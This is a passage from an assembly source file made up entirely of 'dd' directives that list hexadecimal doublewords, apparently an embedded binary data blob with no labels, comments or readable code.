0B92C7Eh, 84851D88h, 4302D18Fh, 4417241Eh, 4E304057h dd 269300EEh, 61853C22h, 8788C02Fh, 52CB00BEh, 0E7F39F6h dd 0FC00BD6Ch, 0BA366558h, 728C32E5h, 74EA0059h, 0B50D5781h dd 40013F2h, 89B49A6Ah, 3B2AD30Bh, 0AD0009B1h, 0EC28FF9h dd 0F000327h, 0A8239EEAh, 0EF53E04h, 0C186DAE6h, 496A0C80h dd 6E002037h, 5C1643F2h, 46AC26h, 7BF89C15h, 0FD42324Fh dd 0B85848h, 942C5F74h, 7009FEh, 235EAD25h, 0B5D119F0h dd 7E105A00h, 8D32D72Bh, 77EB006Ah, 0C848F686h, 0BE00DCEEh dd 0F5BA24BFh, 0E3A342h, 7FEAC1B1h, 0DB8F7725h, 2FFF903h dd 0B8B64F03h, 912E5CAh, 855F70FDh, 24DC6380h, 0CD1CE24Dh dd 63408BB0h, 0C8C20E47h, 0B39300C0h, 25E13E5Bh, 6801BBE5h dd 0F06B33ACh, 6AC08465h, 0AEBD00CBh, 0F64A75F3h, 0CF00CA34h dd 0FB9B2F98h, 719FCCDh, 28573CF0h, 54D61047h, 0A6000CF5h dd 7E2640Fh, 19C4984h, 28130272h, 0C1AE6CD3h, 384ED027h dd 440031F4h, 2BEB6E73h, 9AFB46h, 0BB608BF1h, 55D742F4h dd 4A861C09h, 0E14F81FFh, 0ACDCA866h, 8FB80079h, 0AB01972Fh dd 1300B00Fh, 5D70A376h, 1873BFh, 0E71DB427h, 54FAF7ADh dd 1277FD01h, 43AE4BE6h, 19FA920h, 39A7C174h, 0C8CE446Fh dd 4133E2D3h, 0A0406E1Ah, 60CB030Eh, 6248484Eh, 9A20D59Ch dd 0DD060021h, 0BDBC4D79h, 6D00BA82h, 0B96E42Eh, 19FD44h dd 2E0776Eh, 45BCBBF3h, 0C418CB28h, 521C8C01h, 0A0FA0F1Bh dd 7A722860h, 41AD076Fh, 91EC97FBh, 0F0542223h, 0D77B4394h dd 0AE2A2B18h, 6E7A820h, 0A1DB8640h, 1C0198CAh, 0B3E0A28Fh dd 2C20F2D6h, 61F707E4h, 0F07BF519h, 31D3485Dh, 3C6B1703h dd 0E8C5CA69h, 0F680677h, 0B464494Eh, 815D9A80h, 80A0D973h dd 550FB64Dh, 3E317E7h, 0E0E425F1h, 0B3D637h, 0E06B9CBEh dd 733D9F21h, 0C842EA16h, 0AE48D900h, 0FF05E3h, 4C20E726h dd 5F0A8BB8h, 14130800h, 0A244F758h, 947F76h, 0F6748C29h dd 9D065451h, 81FEA500h, 7212C9C6h, 1EE13E4Fh, 0AC678300h dd 0F4FA1062h, 0B9736FFEh, 0BEF12B00h, 0B2D6A668h, 0D4070132h dd 5C8F5D24h, 0D70BF0A8h, 0B9D5AD00h, 6D2F3D74h, 0FFA21FD0h dd 0A1378077h, 0F9197511h, 0FA9F5E00h, 10979286h, 0CD89006Fh dd 7EF17BD2h, 25F8371Dh, 0DC2C7D28h, 53122D24h, 6EA1C200h dd 2229DEh, 9CBA53F3h, 1945C641h, 924CC800h, 0E5C5508Ah dd 2BCB00A6h, 0D553491Ch, 950194B4h, 8F3A2F29h, 3C5633Bh dd 3DDCA020h, 0FC12C8B6h, 0DF3D0016h, 75346493h, 0FFACF00h dd 873C986Fh, 7E8907D8h, 81CD601Eh, 0FF3E32F0h, 0C08B58E1h dd 603E35Ah, 0EEA9A8E8h, 5DF0E00Eh, 0D940C0E9h, 434C99FDh dd 3B7A6309h, 68EC009Eh, 3BE321Dh, 6D62CF07h, 1907971Ch dd 989587D1h, 0BAD3605Eh, 775156Ch, 0DBF2D72Fh, 5E2A709Dh dd 0AD00BEB4h, 0ACF8EE02h, 0E3EE8BDh, 0C7346389h, 8B4D4660h dd 0BA3C99AEh, 826EB97Ah, 0D1130D67h, 972C4015h, 0F3D51DBCh dd 82598016h, 0EBDDECBBh, 60383E00h, 0C6EFC283h, 9A460001h dd 420994Eh, 0CA0F61F5h, 40C97D8Ch, 9C57F3D6h, 2239045Ah dd 87F44399h, 86E1200Ch, 7E00E7CCh, 1F903D0Ch, 7AA5B1h dd 3616E6DAh, 21E23E44h, 37048CFEh, 2388E727h, 5DF37087h dd 0D07AC89Ah, 0F8831F01h, 5F4B0020h, 9CF0FD80h, 701D0C1Fh dd 526D3780h, 2B4044h, 0C8D8C1B8h, 39D4B48h, 0F843Bh, 324DA1E3h dd 1C8DA2h, 8FCFE773h, 0ECC8B720h, 0CE6CA803h, 93523738h dd 0F2D4884Fh, 0FAEF00D5h, 6642C6B3h, 0C0098145h, 87CCC9E2h dd 0E0F03C20h, 1227958h, 0E62CFD5Ah, 0C9B0AB51h, 61A08087h dd 3F7B8466h, 3DFF12B1h, 5733000Dh, 1C3B3E1Bh, 935F780Eh dd 0FE045EF8h, 54C51480h, 761BC0BEh, 0BE005B7Fh, 2717C4BCh dd 39E3C70h, 355CDE66h, 0B800E53Bh, 86951824h, 0F4B476B8h dd 389797Bh, 2AE7EC5h, 0F3A80F9Ch, 380032DBh, 925ABF1Dh dd 9995F68h, 22647129h, 0A8A5A800h, 2400F353h, 9F66A1F8h dd 3EFC1B78h, 6D80D4DCh, 1830515Ch, 3DFAA0F3h, 336EFD00h dd 7BB69443h, 5F0B3D0Dh, 0A88FA112h, 2B7C098Fh, 84A80002h dd 0C04E711Fh dd 37D26F7Eh, 2E5865D4h, 5CEC1F30h, 18C9B840h, 0E66A549Bh dd 7CE60F1Ah, 3013093h, 214B6B52h, 0E9C8CCC4h, 43EE2700h dd 0D9676564h, 430E6BDh, 559E456Ch, 1A648014h, 8B32A110h dd 4046D81Fh, 834B3Ch, 0DF4EFA59h, 0FFEEA30Dh, 0EFC6D000h dd 0D2116D1Dh, 0D953070Ah, 8035FDADh, 0A7FF8324h, 47389300h dd 89F5B1Eh, 504074Ah, 7012824Ch, 0F21CDF9Ah, 7BF5524h dd 8BD27200h, 3D99C8h, 0B0C7AB6Dh, 7C93E714h, 0B9823609h dd 28AA0002h, 785C5BAh, 661F1370h, 111B712Ah, 0D0B4D87Dh dd 6F511600h, 0F2A2896Bh, 313A0029h, 0C5E4A62Eh, 0FE173382h dd 14005835h, 92665D73h, 0FCE401h, 6B10D06Eh, 2C8E64F6h dd 68075198h, 0E75F07B1h, 5DE1A080h, 0F4F673BBh, 78E7D90h dd 0CD27107Fh, 0F1A87018h, 0D501CA84h, 0DFBD8901h, 8BFC4D88h dd 4B24012Dh, 1C1180D0h, 6113FC5Bh, 5A15C800h, 40F95D3Bh dd 3AD40048h, 0BB687E91h, 57671814h, 5B700619h, 772C9C4Dh dd 0BC77000Eh, 0B5DDA43Fh, 91006649h, 0BA5FF595h, 0EF1258DBh dd 45FE70h, 0E1491973h, 0A13FF2Ah, 868CCC00h, 20381F5h dd 2C050779h, 0C0FC31F6h, 0B6AE3C6Eh, 0E6B74F00h, 1DC15A48h dd 80C0075h, 0A2A9CBF0h, 4A006DC4h, 16762C10h, 0CDC7873h dd 2695F658h, 0FB3911A8h, 0D2238087h, 0F4DACCC4h, 914100F7h dd 72625D01h, 0D83E1C56h, 80A5BC05h, 0EFD45E82h, 0A2ADECh dd 3B37695Ah, 32BC98E8h, 3653FA00h, 0BFEB92ACh, 84E00022h dd 0DA454E40h, 8F00CBFBh, 5DA6C50Eh, 9F627Eh, 2E3E5EC7h dd 3D65A2E6h, 1F7C8B04h, 81C76A23h, 932B8030h, 0A47F6Dh dd 0C40689A9h, 634408C5h, 0EF698D03h, 0EB7270DEh, 9190D715h dd 0A04A75h, 0BE76A464h, 0B93411D9h, 960EBA03h, 0F047E365h dd 3BDFC1FBh, 0B88085B3h, 0F182165Ch, 7E3F212Bh, 29E1007Fh dd 0B338FD64h, 0CC200062h, 67158A5Ah, 3B0090AEh, 0B8D491B7h dd 6C1222h, 0D49A73Eh, 85CB27C0h, 60A84100h, 0EFFB88DEh dd 0B9E60001h, 25295171h, 9398D1A9h, 47632700h, 60E52D0Bh dd 7597C62h, 725CDBB1h, 2770D019h, 5198D38Ah, 0B800FA71h dd 216A0104h, 538766h, 0DFA0A99Ch, 0F9D871E8h, 0D0860B0Ch dd 26A05Ch, 1578EB34h, 96277A6Dh, 10C23A01h, 7BAE5D07h dd 804A3040h, 0B21E0004h, 64B9A68Fh, 0D90784A2h, 0CB2D6908h dd 790BF7D0h, 81C20972h, 18008224h, 0C6597D7Ch, 77385B1Dh dd 75F3D040h, 0A12B234h, 30582463h, 2DF600F0h, 0CE18461Fh dd 854A441Eh, 0AB543980h, 3D7284F9h, 0FB00DFA5h, 0E59110Ch dd 4D488B62h, 24560062h, 4174A2F5h, 36048C7h, 0ABDBC100h dd 8BA76847h, 0DD831B00h, 4D78D9B4h, 584C00B6h, 4A92C269h dd 0CE00505Ah, 0B2E504C5h, 3E57887Ah, 3280AB23h, 27F74303h dd 0A6005A6Dh, 0B94DF377h, 925073Dh, 8039836Bh, 1FC67C00h dd 421C0DABh, 0C24040B8h, 4D95C34Fh, 0B4300BDh, 929C38DBh dd 34002F45h, 0CB6C7BA1h, 0ABF31Bh, 433D9065h, 0BDC915E5h dd 0F93C2172h, 82C4CB0h, 16AF33h, 76C208B9h, 700E2EEh dd 83126DEBh, 350481h, 8A869E29h, 0BE06FF65h, 90AD7901h dd 0B4C35201h, 0A6E480E6h, 72868D7h, 9796C13Fh, 58A02951h dd 3986D97Eh, 8B7C2102h, 40686E19h, 12D70Ch, 7E643115h dd 2DBC696h, 9A492D26h, 0E2E1AF00h, 0E638EC34h, 0A27C078Fh dd 10F4C0CDh, 728E58CAh, 0D35F3Bh, 0D24ED0D9h, 48864C43h dd 7045C5Bh, 1EE4E9h, 0C17D4DF9h, 5789879h, 714A3C43h dd 0E126C0B5h, 0F700D2EBh, 0B6CEDA5Fh, 0E5DF7Ah, 0B2D71A55h dd 118576C1h, 75813000h, 7DA3578Ah, 0FA4A040Ah, 90D2F20Bh dd 141EA770h, 5D0A00B0h, 882F6BB3h, 6450703Eh, 0BC13C294h dd 0AC00E4B4h, 5EE76E51h, 0C7A2019Bh, 0AFEBBAF6h, 0C496D94Fh dd 0F090EF37h, 2F9D8204h, 2B00691Ah, 0A8E48187h, 3C02321Fh dd 0DC79B740h, 7FB37B0h, 90B83152h, 0DFE730EDh, 9C00D6F1h dd 0D5598161h, 13E001D8h, 153579Bh, 50B51D8Ch, 8B945012h dd 2E00818Dh, 0CE4FE0B7h, 2DFCD3h, 0CDDD9A85h, 46D532BAh dd 0BB1EA300h, 5C8CD61Dh, 18C500BFh, 37D3F014h, 0B2499F2Fh dd 9C3408C8h, 0DED805Dh, 486B3664h, 73C8D614h, 81B101E7h dd 5260FAE6h, 0FDF1A70h, 0CC37A1Eh, 1DA0960Ah, 28248Dh dd 59192F71h, 0A201E57Ch, 0EF146C21h, 0B89F61B6h, 5BE80001h dd 0E99ADFB8h, 40C3E21Ch, 0D7482700h, 30A9C6h, 1B830678h dd 6F9D2522h, 46D238C0h, 0D9F4A0h, 3B649934h, 0D6BFB56Ah dd 8DDB4A0Eh, 69706073h, 50C40CFFh, 0F5F0D5h, 72972228h dd 7309BACh, 0AF3A5800h, 0E9B8E78Ah, 315B0020h, 8941A466h dd 8CB0820Fh, 48D97501h, 0DD5AFF9Ah, 7F06BE4h, 0EB883E56h dd 0E22B503Fh, 0EA1C36BAh, 5A303746h, 58CF606Eh, 1D01EA47h dd 0C267F2EDh, 4FC1F468h, 649FCD00h, 0C3C655E6h, 0B2A80B7Eh dd 0F500013Fh, 0B442C1E4h, 0E948EEFEh, 0E2AB0034h, 28CE6E84h dd 50CA0138h, 5A9EA4AEh, 900C40E4h, 0A2F86D31h, 0E9584D00h dd 0D8CA1243h, 447F0D1h, 0BA326486h, 9CAE033Bh, 8AF2D729h dd 8443D5E3h, 0D080C3D2h, 0E87B02C0h, 0B2D64400h, 0D1ABD3Dh dd 2E8B03A9h, 20EB4E19h, 6A729DF0h, 0D33E6890h, 503D0E0Eh dd 0D7B2219Ah, 0A77030FEh, 0CDB30E83h, 6420FFDEh, 76809363h dd 0F8F57900h, 924D0608h, 0D74B0086h, 52DCDB0Eh, 89FC3FB6h dd 3F05550h, 90B8E524h, 403DC60Fh, 0F149F29Dh, 0CEEC0h dd 0FFA2BA8Ch, 0C857E840h, 23F4BF00h, 82EE99D3h, 41090AD4h dd 0AC0EF6h, 0D58E0F7Fh, 0EF505C98h, 374C4D85h, 0A6A41ED4h dd 17BFC040h, 247CE59Ch, 70CC74h, 92961AB9h, 1B1754BCh dd 0E00062FDh, 0DE751C42h, 38701433h, 0E030E23Fh, 0BF616230h dd 0F4C53224h, 3AC32980h, 1EE3144Bh, 1C720AEAh, 79807B82h dd 9EC81A59h, 830413B6h, 0E442491Dh, 7F95B880h, 3889E834h dd 0C000433Ah, 920C59C6h, 3503126Bh, 267E28E4h, 4CC1847Dh dd 0E8621EEDh, 0D8E31C00h, 288D7BDFh, 17FB1B00h, 0B40BC6A5h dd 7FCA0050h, 0F338EEBAh, 0E90006B2h, 0A473483Fh, 3EF5F2Ah dd 0CC98D1CAh, 0AAB0EBAFh, 0FA05360Fh, 49B566ECh, 0C4D1B080h dd 0A4D60D03h, 0E494BE39h, 0A4A0420Fh, 26187774h, 0DCB01B5Eh dd 8D5600B5h, 2803BB95h, 0D0006F1Fh, 0A1BD4A50h, 604B7430h dd 60E2F02Dh, 0A3E09E87h, 0B845B907h, 0F6D05E34h, 0A1DD46h dd 6F4019CCh, 0EEAA58A8h, 80234B38h, 0EF17ED71h, 1E8D577h dd 2070D70Eh, 74AF7A88h, 4400D944h, 0A856A2CEh, 0DB1CA7h dd 6E9B2634h, 0F61654E3h, 0B22D6703h, 0B1C586h, 492E0714h dd 1385CCEEh, 9018038h, 0DD4A037Fh, 44339702h, 3AB6F440h dd 0BD572E03h, 0CC2FA8h, 751DD24Ch, 0B9E0C20Ah, 5430980Eh dd 8A96C7A3h, 0F09Bh, 0BCF95910h, 0AD209B41h, 310057F4h dd 7BE7D4BEh, 1250018Eh, 0E10A0Dh, 0E46C8B10h, 3307383Fh dd 0E9118198h, 7FE240CFh, 0C0CB8994h, 2C183EFEh, 0CA007356h dd 19B6FA22h, 323D6C9h, 3C93EE9Bh, 78C13F3Eh, 0EC1C20E3h dd 5F67BA03h, 0B8B1CF66h, 4650CACh, 0D5220837h, 775C825Bh dd 0A84EF4C8h, 0F861EC00h, 628063E7h, 841F0908h, 6A800FC6h dd 0FCF74142h, 806B183Bh, 0F8272EEAh, 79CB388Eh, 570E0060h dd 0FC5E8463h, 400AE0Ch, 11CC8998h, 72EA91h, 93EDACE3h dd 1ABA5B0Bh, 0D43C6A00h dd 0F0201626h, 7EF10064h, 0AC0F961Bh, 4E00EA7Bh, 0F9B69F97h dd 26306385h, 58DE8Eh, 0B108521Dh, 50015B0h, 91385AF5h dd 3B2C3784h, 9F80D4FAh, 0FEA9068Fh, 16008C85h, 83D5D75Eh dd 1DF96437h, 7929CD12h, 46246280h, 2157757Bh, 4A5E8000h dd 0E5C70F81h, 47AF07CBh, 73E9D6FDh, 0B801973Eh, 0A6CE16BEh dd 0F840C59Fh, 875126h, 27AFD0E1h, 0B3632067h, 65A13F00h dd 0EC8F9572h, 1514007Ah, 0B624CB9h, 0C7016C1Ch, 208870D6h dd 0EC245032h, 6EA40039h, 0CB09B844h, 94003DC3h, 40D03C46h dd 9054B4F4h, 0E85300B4h, 0B642C55Ah, 0AA004EA4h, 7325EC4Ch dd 0A0A6E0h, 0E9F562DFh, 51D33072h, 56026090h, 0BD59CF5Ah dd 0A864A7h, 17489A36h, 92F3BF60h, 0B8D7C42Eh, 0B7D870h dd 5EC03341h, 0B3D6A0F3h, 35F8ED1Dh, 7AAC3281h, 34E877D3h dd 2AFF0044h, 28C5C46Dh, 0B8002559h, 5C690D21h, 0F8A81F9h dd 55F09E86h, 61DB801Ch, 9BEC16F2h, 98388D77h, 0D79A0093h dd 2ABDE9F9h, 6E3B0038h, 9016BACBh, 565C0A94h, 0DDA00048h dd 34DC0FB1h, 3FEDB828h, 9080F1F3h, 0B45D580Eh, 0F200DE1Eh dd 3D7A9A46h, 0F8B3CB7Eh, 61792451h, 0F4010378h, 0BAD9B2C5h dd 0F680E7E5h, 4300BE2Fh, 4BB95E24h, 7A47F0ABh, 973900F7h dd 268A71A1h, 165CE111h, 66120078h, 0FA8333F1h, 7C709D7Eh dd 9C4ABC0Ah, 202B0ECh, 0C0B3AE05h, 0C0D290Ch, 0C3D50646h dd 4501AD11h, 0DBEA2739h, 9C7194BFh, 60F211F0h, 60E6A168h dd 58FC6DB6h, 0AC009BE8h, 78BEA8D4h, 13273Ch, 0D2CAD6A4h dd 4DF3B5Dh, 1539AF00h, 562F45C5h, 9FB951D4h, 0B2B1B500h dd 497D00B6h, 2ADEA296h, 970386AAh, 10061665h, 3D39024Bh dd 0F3DC2627h, 694648A2h, 1B58010h, 0B6590E6Dh, 40A8DC6Ch dd 6A4A8914h, 237B9707h, 0B5C72A5Bh, 10173F50h, 0CEA900C5h dd 55AF66DFh, 3300FD03h, 65449041h, 7A538C3h, 48BDC0C9h dd 9E05C060h, 0A7007606h, 1D9BE879h, 774439Ch, 960B5468h dd 0D42640D6h, 520B715Bh, 8092B8ECh, 2F51434Eh, 6C57382Ah dd 54647680h, 5937DED5h, 85C7A300h, 0A979347Dh, 0C472ADh dd 0A4506626h, 88475EBh, 2B018096h, 9235E1BAh, 490D994h dd 0DFACAAh, 0C237C94h, 0F38D9970h, 97F6E00h, 1F48A8B2h dd 49B300B1h, 7C6A0E3Eh, 0BD78F31Eh, 7BA205Ch, 852D23B4h dd 0E10E21C0h, 7050295h, 224D3D84h, 0FD9040FFh, 9974A6h dd 3A5D7309h, 3F7F7A0Ah, 7C92061Fh, 0AE010C00h, 0F0A72452h dd 203B83Bh, 93261EB9h, 6495AD88h, 0AF808584h, 0CA08E880h dd 937700A5h, 78556AEEh, 0D124B503h, 8501D4D3h, 0B20FB879h dd 1EB1FE61h, 1154FE28h, 7512E9D9h, 25FE0411h, 0E0280432h dd 438148E6h, 7921A1DEh, 318C2426h, 11B93D29h, 0DA12BB22h dd 0FFE93C82h, 140F4925h, 847191C0h, 45896773h, 0B8447A08h dd 7E4284E2h, 13081121h, 509694B7h, 21015211h, 0B005080Dh dd 11148A94h, 0D921DB9Fh, 91AE2908h, 9509039Eh, 0C0E58553h dd 0BAB110h, 5FEFBE32h, 2B63A1A6h, 9B499000h, 47C2F670h dd 6CCC0412h, 0C04ED8D5h, 0BA7781FBh, 0BE4B5E07h, 3E210C54h dd 9F4DDCBh, 7BE207h, 4F9FA3A9h, 1816BCF6h, 5383EA03h dd 0B0B89A94h, 0BE09B5h, 42D47005h, 6D305549h, 7FF0E000h dd 2A477C83h, 0A4CB3FD3h, 317200F3h, 22F95582h, 56059153h dd 0B9A39524h, 75D30C90h, 86110042h, 919E89F2h, 0ACE6E9BEh dd 0A40139h, 6AB666B0h, 4CDA0h, 0B8EA0C45h, 6CA692FCh dd 701D4E8h, 91B5EE3Ah, 66E0025Fh, 0BE050336h, 1A7D3064h dd 12977008h, 80CF205Dh, 0B5F570h, 2068279h, 0F8394BC9h dd 5A70B400h, 26ABF7ECh, 0F51D01BDh, 7E1EA8C6h, 1888E44Fh dd 6A31D200h, 0DF8D441Bh, 0F3933067h, 0ED955E30h, 63802B00h dd 0E41E674h, 3BAD08B5h, 16006B22h, 63EF406Dh, 47C81F89h dd 9FE9CE01h, 85000F0Eh, 6606B97Eh, 0F3F61B00h, 0C29D7ABEh dd 59E80014h, 13454EB4h, 0A900D963h, 0C072EB36h, 4812A5h dd 67DDA4B2h, 778B4FACh, 0BB4AFF00h, 45683906h, 0E4480061h dd 0DFAC891Ch, 14005A85h, 0F77864Bh, 116DD35h, 0BDD0B94Dh dd 4064B655h, 9727D894h, 151C4800h, 0A14BEFF0h, 0C19B1E22h dd 580C0F8h, 9129B60Bh, 25B53Ah, 7EB22DB3h, 0D4F7EBh, 1DA060B0h dd 9B6A9AF4h, 0EA6E0B17h, 0F6999D00h, 2D7E310h, 0E329527h dd 0C4E0E460h, 7904C87Ah, 8F84C231h, 0F1593480h, 8CAD1F7Ch dd 2DD4C01Ah, 3667072Fh, 6D32B400h, 4E7F010Ah, 0CCD83FFFh dd 0C2BFB781h, 30DA4C99h, 8D004805h, 8424713Bh, 4DF00519h dd 4D02684Bh, 0AA9C2DEAh, 72805440h, 7F1E3A00h, 73A1FB55h dd 289217h, 440BFFA6h, 0DA673AAFh, 0D1038303h, 0AB5B957Ch dd 0D04CC10Fh, 94F36ECh, 0CBDD32E9h, 67094800h, 0D600E557h dd 1250BF1Bh, 4B7ED7h, 9731CAB2h, 0AEA284DDh, 7166E200h dd 6FAF9EA7h, 38F67Fh, 2D0EE661h, 31DB90D2h, 519C9503h dd 92123C3Ah, 89C0DF71h, 8C071626h, 0AE5CD904h, 322BF2A0h dd 0DDB60030h, 0A77ADB56h, 434DC399h, 0DADF0700h, 6EE0B14Ch dd 4495D6h, 7D3A9637h, 0B5242BDEh, 0CE02A60Eh, 0D2053E1Fh dd 0FB3E9Fh, 0BF819AA4h, 0CB00050Ah, 0AE90FB6Ah, 0F512A25h dd 78416C97h, 0A956DA80h, 0BB29D418h, 1A80A490h, 13B02CB4h dd 64D800E7h, 99C9DA65h, 0CD1DC81Bh, 4240759Eh, 376334BFh dd 3E87CB2h, 2C4987E3h, 88D04581h, 0EB773A08h, 0A6F0B775h dd 12E45B01h, 0E8DEF91Fh, 17F0E041h, 43409C0h, 28051E2Eh dd 4088B187h, 0DAC184B9h, 8B38021Dh, 88910DC0h, 0A1581Ah dd 739B75ACh, 341255Eh, 5D509800h, 9D923918h, 283201CDh dd 0C235157Bh, 3F9140CFh, 0D10068B7h, 3D54345h, 4FED17h dd 8AD25F4Bh, 24942067h, 30DBB800h, 0D4801286h, 1FE473D5h dd 40C53F78h, 13068C8Eh, 551D1DB3h, 598040C0h, 534185AEh dd 0AB501E21h, 0CD5D401Ah, 0D3F6724Ah, 0BD528700h, 0F4A1849Eh dd 403101AFh, 917AB055h, 6B9DC401h, 5DBCCD00h, 1AB2B928h dd 77F700D6h, 232B79EDh, 0A2026178h, 3F9AFF48h, 4D3F406Ah dd 67FD1h, 0D28F999Ch, 6CB64356h, 364F940Bh, 210800E2h dd 75CF1Fh, 5CB12B27h, 0F9EF709Ch, 0FAABAA07h, 58F0B60Ah dd 1337E4Eh, 0BCEA415Fh, 43AD26BBh, 85A030ACh, 7D00C3B3h dd 0D295D0F0h, 44143h, 0FA992848h, 0A5AFE214h, 7494373Ch dd 0F68F5D00h, 0C5134263h, 575C00E1h, 82846FA7h, 61F61FFDh dd 37E81154h, 0E4108300h, 283FA548h, 0C9720742h, 228C6078h dd 1C400170h, 60F4862h, 200234FEh, 5E40CDD1h, 0D25100ABh dd 8C729063h, 5D7584F9h, 60172B00h, 98B308EEh, 7EE6E894h dd 0FFC000D2h, 193C5FB8h, 0C23AF39Bh, 21FF9C7h, 97C113E2h dd 0AAD00109h, 4883C8E4h, 0CE002A47h, 0B6C1A220h, 35023AE3h dd 1D3DAF89h, 52D840DBh, 38F358DAh, 7F929E3Eh, 0AE07AEE2h dd 34B0EA8Bh, 3BDFC436h, 16807954h, 0BF5F5DCDh, 9500438Dh dd 4DEC1C86h, 294DB6Eh, 9992C737h, 0D8404CB7h, 8900A28Bh dd 7C1615BFh, 1FCEB9ECh, 4971D828h, 8080C429h, 0F6E88169h dd 3496DB00h, 0A2DC19ACh, 31640562h, 0C7CE1CD7h, 0F873E006h dd 9000BCBBh, 0D008FD67h, 15B2B0Fh, 85A3E501h, 30F59F6Eh dd 0B6011F8Eh, 4F13365Dh, 30804Ah, 6E893CBDh, 0E4062Ch dd 0E4F705D0h dd 17003B83h, 0A3826D5h, 17B47361h, 47F58ADBh, 1020EF2Ch dd 1CC56884h, 61E00800h, 27F2DD95h, 8BAC0049h, 0DFA7379Dh dd 440023AEh, 9864C351h, 0FACFA3h, 39E2137Bh, 34258072h dd 4A7CCD00h, 0D7ED0791h, 0F19800ACh, 0AA6855A8h, 0A72CB52Bh dd 5B00CEA2h, 1BC88045h, 0A3B10E3Eh, 42E01292h, 9BFD7A6h dd 0E31C437Ch, 0EDC063E8h, 0BD4B2E38h, 0CA8C1C3Bh, 92DB00D8h dd 78030B8Dh, 4E33C0FCh, 0AF666053h, 4090AD90h, 20F0070h dd 95507D84h, 7900C5B3h, 0C0FFE852h, 45362F6h, 1CF9DF2Fh dd 0E99DC09Dh, 5071C6C9h, 3CFA4E2Eh, 23B7500h, 16C111C2h dd 1F6041D6h, 5B2AC1A8h, 708A1A19h, 800A6A0h, 0A2ABF69Ah dd 572798h, 0CBC8CD6Fh, 1B6DBC2Eh, 0F529C8A1h, 0AD3080C4h dd 2B77B114h, 12D02671h, 5C2F004Ch, 93FA7879h, 0C9FEAA00h dd 3C41778Fh, 0EFEE0C95h, 0BCD9E333h, 3D82CC00h, 23AC1920h dd 0C845605Fh, 7454DCA5h, 0A21EC900h, 51B9751Dh, 9E9025h dd 0F44C3B7Eh, 7C44ACC0h, 6EFEE900h, 821D6676h, 0D85E63F6h dd 0E4E9DCC2h, 3AF17AC8h, 7103E4h, 0F80FABF1h, 7CAFA327h dd 70A6CD5Ch, 0D7E2440Fh, 72C2E03Dh, 4975E7AEh, 310778C1h dd 505FA1D9h, 0A0D4AC30h, 0EA257202h, 0C04FCBCAh, 0E4C6FE33h dd 338E00DAh, 6ACFF974h, 0A53B4081h, 6C7F00E2h, 9D75D1Ah dd 0C23812A2h, 7B784089h, 0E779F206h, 303F5C00h, 8B0D4CC8h dd 143700B1h, 156199F1h, 0F40B9FEDh, 835823h, 0E531639Ch dd 25360081h, 0ECE9F5C1h, 1D0A2876h, 95405C6Ch, 0E89D83Fh dd 2B0EFD8Bh, 365CA1B6h, 0F457161Eh, 0DEEF3710h, 0FDE600A0h dd 1DC1896Ch, 7B009652h, 43B9AF0Dh, 3205F30h, 924B6380h dd 4800C629h, 0AB15BEC0h, 9850B0F9h, 0F0AA58E4h, 963BAC0Fh dd 0BF1A1FE0h, 0EE093EDCh, 80A3828Bh, 595CA4E8h, 5BF700D7h dd 7FFF92EDh, 443DA6D9h, 6903FF0Dh, 336D7772h, 40FEFADFh dd 7B8BCE06h, 19DB0470h, 809CA13Bh, 0D658ADDCh, 0A83F0201h dd 9B3C4DC7h, 0A0CE1880h, 60D3661Dh, 0C960E3E2h, 0D9336331h dd 878C0026h, 36784627h, 8B03A4D5h, 384C410Fh, 0B840BBEEh dd 0EE1F0214h, 883212C0h, 6DACF5h, 0DBFE81Ch, 170A2E0Ch dd 82FF101Bh, 30404CF8h, 3F0E619Bh, 0C07284B9h, 0F55895D5h dd 44CD0543h, 269394h, 8A8B1ADAh, 0C008F10h, 0EF5EECE0h dd 0F9E370A2h, 3D71C130h, 6700E17Bh, 0B3ADD636h, 0F1036F63h dd 83145F22h, 8E44A0CCh, 613F895h, 58D70BB2h, 0E41E30D9h dd 83804D97h, 8BF0F8EAh, 32F6E9h, 9924C6AAh, 56A88472h dd 76E16B3Ch, 0FB50947Dh, 3D0037C0h, 2C5B88F7h, 986CF1CCh dd 99950086h, 0BDE05394h, 0A9070743h, 9E74AFFEh, 0CB1345D3h dd 0D50EB173h, 3E4C020h, 67A7995Eh, 0BDD86C3Dh, 0C100D655h dd 0CFD02E4Dh, 7C0D309Ch, 0A0F3006Ah, 8EFA3FFBh, 74008D68h dd 192EAED9h, 0F0453F4h, 0FF5C22C9h, 16F03780h, 8803DD8Bh dd 2D587265h, 3FFDE0A7h, 107A000Ah, 3DC859BCh, 7000F15Eh dd 8C7C27FAh, 57FFFDh, 0BE7EA4F6h, 0D85C889Ah, 39E88600h dd 6878694Ah, 731A007Ch, 0AB271E8Ah, 0DE09EE87h, 6196FAD6h dd 0A440AD58h, 430F9Eh, 0F1BE8EC3h, 0CCCAB002h, 757DED48h dd 0A902EEE8h, 5A013691h, 0EAB0491Ah, 0EC004C2Ch, 0FD1CF1C0h dd 7B042B9Fh, 8867C135h, 0B36D0090h, 0B2FF09F3h, 78CF59h dd 1A7AF127h, 108F9Ch, 0C0199C78h, 0E7EE00D7h, 7928CBBFh dd 0F97AA5C1h, 0B507B6B8h, 3042F60Ah, 14FE9F40h, 0DE2000F2h dd 8C9CA6E3h, 2B5BD602h, 5880281Eh, 0E0109014h, 121F126Ch dd 8560353Ah, 7760000Dh, 80BFCEA3h, 2AFF0500h, 0F85793A0h dd 0D9F202h, 4213FBD4h, 86D12B09h, 477A490h, 40C99100h dd 0EF3EA314h, 1323E42Eh, 808DDC95h, 41E6A59Ch, 0BCAC6100h dd 36CADB6Bh, 8FC31EA2h, 0FB92C0E1h, 4F40B494h, 8880BA30h dd 0E5D414h, 0F75288B2h, 2B3666D3h, 0D7656A03h, 0A8D5248Eh dd 0EEAA060h, 0C4460B3Ch, 0CA1687C0h, 53EAE4F4h, 0B3334F00h dd 1F9671E5h, 0C4ED0010h, 2799498Dh, 0F00D7DEh, 0F40852F6h dd 0CE9ABCh, 809328CFh, 3EBF09ECh, 8099CA3Fh, 1E2AD094h dd 0A8E88F05h, 4E4B9F4h, 3D5F95C2h, 11A8C106h, 0FBB470D2h dd 81A40501h, 192609DFh, 0C08496F4h, 217ED920h, 9800B842h dd 0E76C2FC8h, 3A0BE935h, 7680DEC4h, 0B0A3263Ch, 0EA0BCDA8h dd 3867C2Dh, 0C855A058h, 0C4449CCh, 0BF14B668h, 0E90D6189h dd 2888A809h, 3A3E3083h, 210EF084h, 0CFA2D808h, 0C81800C9h dd 58A7A9CAh, 0B7000085h, 27A3DB14h, 5A002C22h, 330D5BB6h dd 0F0F00777h, 38B7E6AAh, 0FF92273Ah, 0E88801EBh, 